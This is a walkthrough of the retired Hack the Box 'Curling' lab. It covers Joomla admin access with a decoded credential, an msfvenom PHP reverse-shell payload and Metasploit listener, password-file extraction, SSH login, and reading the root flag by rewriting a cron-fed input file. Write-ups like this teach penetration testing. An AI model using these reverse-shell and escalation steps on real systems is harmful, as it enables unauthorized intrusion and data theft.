CTF Challenges

Hack the Box Curling: Walkthrough

Today we are going to solve another CTF challenge “Curling”. It is a retired vulnerable lab presented by Hack the Box for helping pentesters to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.

Level: Intermediate

Task: To find user.txt and root.txt file

Note: Since these labs are online available therefore they have a static IP. The IP of Curling is

Penetrating Methodology

  • Network scanning (Nmap)
  • Surfing the IP address on the browser
  • Finding Secret View Page Source
  • Decoding Secret
  • Enumerating Joomla!
  • Creating Payload using msfvenom
  • Getting Meterpreter Session
  • Enumerate and Extract password files
  • Getting SSH Session
  • Grab User Flag
  • Enumerate for Root Flag
  • Getting the root flag


Let’s start off with our basic Nmap command to find out the open ports and services.

nmap -sV -sC -T4 -p-

The Nmap scan shows 2 open ports: 22(SSH), 80(HTTP)

As port 80 is running HTTP service, we open the IP address in the web browser.

Here, we found two usernames Floris & Super User. They might come in handy later on. Let’s view the Page source of the webpage.

Let’s open the secret.txt in the browser.  It displayed a base64 encoded string.

Time to decode this base64 encoded string. So, on decoding it we got Curling2018! This can be used as a credential.

echo "Q3VybGluZzIwMTgh" | base64 -d

Due to previous experience with Joomla! We already knew about its administrator login page. Not wasting our time we directly opened /administrator directory in the browser along with the credentials.

Username- Floris

Password- Curling2018!

We have successfully logged in.

We have created a PHP shell payload using msfvenom.

msfvenom -p php/meterpreter/reverse_tcp lhost= lport=443 -f raw

On the other hand, we have setup listening using Metasploit-framework.

msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost tun0
msf exploit(multi/handler) > set lport 443
msf exploit(multi/handler) > run

Let’s try to upload php reverse shell script which we have created using msfvenom. Let’s first navigate to /template/protostar/ on the webpage.

Finally, we have got the meterpreter.

We got the reverse shell, but it is not a proper shell. We will spawn a tty shell using python.

python3 -c "import pty;pty.spawn('/bin/bash')"

After enumerating through directories, we found a useful file password_backup. Let’s check its contents. The contents of this file look like hexdump.

ls -al
cat password_backup

Let’s use an xxd tool which is used to create hex dump of the given file or standard input. On decompressing the file we saw the author of the machine has recursively compressed the password_backup file. We need to recursively decompress it.

xxd -r password_backup > password
file password
mv password password.bz2
bzip2 -d password.bz2 
file password
mv password password.gz
gzip -d password.gz
file password
mv password password.bz2
bzip2 -d password bz2
mv password password.tar
tar xvf password.tar
cat password.txt

The content found in password.txt might be the password to login into SSH. Let’s find out if our intuition is true or not.

We have successfully logged into SSH using the password found in password.txt.

ssh floris@

On exploring, we found User.txt and read its contents.

cat user.txt

On further enumerating, we found two files input & report in the admin-area folder. Let’s read the contents of both the files.

cat input
wc -l report

After sometime of thinking, we thought of changing the content of the input file using echo.

ls -al
echo "file:///root/root.txt" > input

It took us time to think about it. We did this because we knew our final flag is inside /root/root/txt. And also came to know the output of the input file will be saved in the report file.

Now after some time when we opened the report file. We found our Final Flag and read its contents.

wc -l report
cat report

Author: Ashray Gupta is a Security Researcher and Technical Writer at Hacking Articles. Contributing Years in the field of security as a Penetration Tester and Forensic Computer Analyst. Contact Here